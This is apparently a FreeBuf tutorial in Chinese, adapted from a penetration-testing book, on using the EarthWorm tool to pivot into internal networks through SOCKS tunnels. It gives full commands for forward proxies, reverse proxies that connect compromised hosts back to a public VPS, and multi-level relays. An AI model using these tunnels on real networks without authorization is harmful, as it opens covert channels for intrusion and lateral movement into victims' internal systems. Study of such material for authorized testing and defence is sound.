freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SOCKS代理技术在网络环境中的应用
2021-08-24 15:29:05

注:本文章内容借鉴于《内网安全攻防  渗透测试实战指南》这本书籍。我刚入门内网渗透,特别是对那些出网不出网的网络环境,简直就是对待迷雾一样非常的迷糊, 再加上工具种类也很多,更容易混乱。直到我看到了这本书的这章内容,让我对内网的环境清晰了许多,这章内容使用了ew这个工具作为例子,然后讲解了,针对不同的网络环境,搭建不同的隧道。我觉得讲的很好,所以拿出来分享给大家,文章中,可能会有一些不足之处,请大佬们看后可以直接指出,以后改正。

EarthWorm 的应用

听说EW 的新版本 Termite .

图1所示,测试环境为:左侧是个人计算机(内网)和一台有公网IP地址的V*S(虚拟主机服务器),右侧是一个小型内网。假设已经获得了一台Web服务器的权限,服务器的内网IP地址为10.48.128.25。其中,由我们控制的Web服务器是连接外网和内网的关键节点,内网其他服务器之间均不能直接连接。

在渗透测试中,笔者经常使用的SOCKS工具就是EW。该程序体积很小,Linux版本的程序只有30KB,Windows版本的程序也只有56KB,而且在使用时不需要进行其他设置。

打开EW的文件夹,可以看到其中有针对各种操作系统的程序,如图1所示。此时,根据实际测试环境选择操作系统即可。因为本次测试的目标主机的操作系统是Windows,所以要使用ew_ for_ _win.exe。

1629788556_6124998ce8e4b93865542.png!small?1629788557261

图 1

EW的使用也非常简单,共有六种命令格式,分别是 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联。

在介绍具体的命令用法之前,简单解释一下正向代理和反向代理的区别。正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。

ew 工具的参数

Eg: ./xxx -s ssocksd -h 
 -s 该选项指定你需要使用的功能模块,以下6项内容中选择一项:
  ssocksd , rcsocks , rssocks , 
 lcx_listen , lcx_tran , lcx_slave
 -l 该命令为服务启动开启指定端口
 -d 指定转发或反弹的主机地址
 -e 指定转发或反弹的主机端口
 -f 指定连接或映射的主机地址
 -g 指定连接或映射的主机端口
 -h 打开帮助提示,当与-s参数共同使用时可以看到更详细的内容
 -a 关于
 -v 显示版本 
 -t usectime set the milliseconds for timeout. The default 
 value is 1000 
 ......
补充说明:
1、为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),
用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制
将以隧道中最短的时间为默认值。
2、单纯从设计原理上讲,多级级联的三种状态可以转发任意以TCP为基础的通讯服务,
 包括远程桌面/web服务 等。
------------------------------------------------------------------
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
    ssocksd   rcsocks   rssocks   
    lcx_slave lcx_tran  lcx_listen
    其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
    其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道:
    lcx_slave  该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    lcx_tran   该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
    通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
    下面是一个三级跳的本地测试例子。。。
    ./ew -s rcsocks -l 1080 -e 8888
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    ./ew -s lcx_listen -l 9999 -e 7777
    ./ew -s rssocks -d 127.0.0.1 -e 7777
    数据流向为   IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks 

(1)正向SOCKS5服务器

以下命令适用于目标机器拥有一个外网IP地址的情况

ew -s ssocksd -l 888
# 执行上述命令,即可架设一个端口为888的SOCKS代理。接下来,使用SocksCap64添加
这个IP地址的代理即可。

( 2)反弹SOCKS 5服务器

目标机器没有公网IP地址的情况具体如下(使其可以访问内网资源).

首先,将EW上传到如图1所示网络左侧IP地址为139.*.*.113的公网V*S(虚拟主机服务器)的C盘中,执行如下命令

ew -s rcsocks -l 1008 -e 888
# 该命令的意思是:在公网V*S(虚拟主机服务器) 上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。

然后,将EW上传到如图1所示网络右侧IP地址为10.48.128.25的Web服务器的C盘中,执行如下命令

ew -s rssocks -d 139.*.*.11 -e 888
# 该命令的意思是:在IP地址为10.48.128.25的服务器上启动SOCKS 5服务,然后,
反弹到如图1所示网络左侧IP地址为139.*.*.113的公网V*S(虚拟主机服务器)的888端口。

最后,返回公网V*S(虚拟主机服务器)的命令行界面。可以看到,反弹成功了,现在就可以通过访问139.*.*.113的1008端口,使用在如图1所示网络右侧IP地址为10.48.128.25的服务器上架设的SOCKS 5代理服务了。

(3) 二级网络环境 (a)

假设已经获得了如图2所示网络右侧A 主机和B主机的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(10.48.128.25)只能连接内网中的B主机,但无法访问内网中的

其他资源。B主机可以访问内网资源,但无法访问外网。

1629788683_61249a0b4616662f122f5.png!small?1629788683621

图2

首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKS代理,命令如下

ew -s ssocksd -l 888
# 启动正向连接代理,监听888端口

然后,将EW上传到如图2所示网络右侧的A主机中,执行如下命令

ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
# 该命令的意思是:将1080端口收到的代理请求转发给B主机(10.48.128.49)的888端口。

现在就可以通过访问A主机(139.*.*.113)的外网1080端口使用在B主机上架设的SOCKs5代理了

(4) 二级网络环境(b)

假设已经获得了如图3-127所示网络右侧的A主机和B主机的控制权限。A主机既没有公网IP地址,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

1629789719_61249e17dbcf2b2787023.png!small?1629789720251

图3

以下操作会使用lcx_listen命令和lcx_slave命令。

首先,将EW上传到如图3所示网络左侧的公网V*S(虚拟专用服务器) 中,执行如下命令

ew -s lcx_listen -l 10800 -e 888
# 该命令的意思是:在公网V*S(虚拟主机服务器)中添加转接隧道,将10800端口收到的代理请求转发给888端口。

接着,将EW上传到如图3所示网络右侧的B主机中,并利用ssocksd方式启动999端口的SOCKS代理,命令如下

ew -s ssocksd -l 999
# 该命令启用正向连接到方式,监听999端口

然后,将EW上传到如图3所示网络右侧的A主机中,执行如下命令

ew -s lcx_slave -d 139.*.*.113 -e 888 -f 10.48.128.49 -g 999
# 该命令的意思是:在A主机上利用lcx_slave方式,将公网V*S(虚拟主机服务器)的888端口和B主机的999端口连接起来。

最后,返回公网V*S(虚拟主机服务器)的命令行界面。可以看到,连接成功了。

现在就可以通过访问公网V*S(虚拟主机服务器)( 139.*.*.113)的10800端口使用在B主机上架设的SOCKs5代理了。

(5)三级网络环境

三级网络环境在渗透测试中比较少见,也比较复杂。下面详细讲解三级级联命令的用法。

图4所示,测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问;C主机可被B主机访问,而且能够访问核心区域。

1629789817_61249e7942a921123a1e3.png!small?1629789817627

图4

在如图4所示网络左侧的公网V*S(虚拟主机服务器)上执行如下命令:
ew -s rcsocks -l 1080 -e 888
# 将1080端口收到的代理请求转发给888端口。


ew -s lcx_slave -d 139.*.*.113 -e 888 -f 10.48.128.12 -g 999
# 在A主机上执行如上命令,将公网V*S(虚拟主机服务器)的888端口和B主机的999端口连接起来


ew -s lcx_listen -l 999 -e 777
# 在B主机删执行如上命令,将999端口收到的代理请求转发给777端口


ew -s rssocks -d 10.48.128.12 -e 777
# 在C主机上启动socks5服务,并反弹到B主机的777端口上

现在就可以通过访问公网V*S(虚拟主机服务器)的1080端口使用在C主机上架设的SOCKS5代理了

# 渗透测试 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录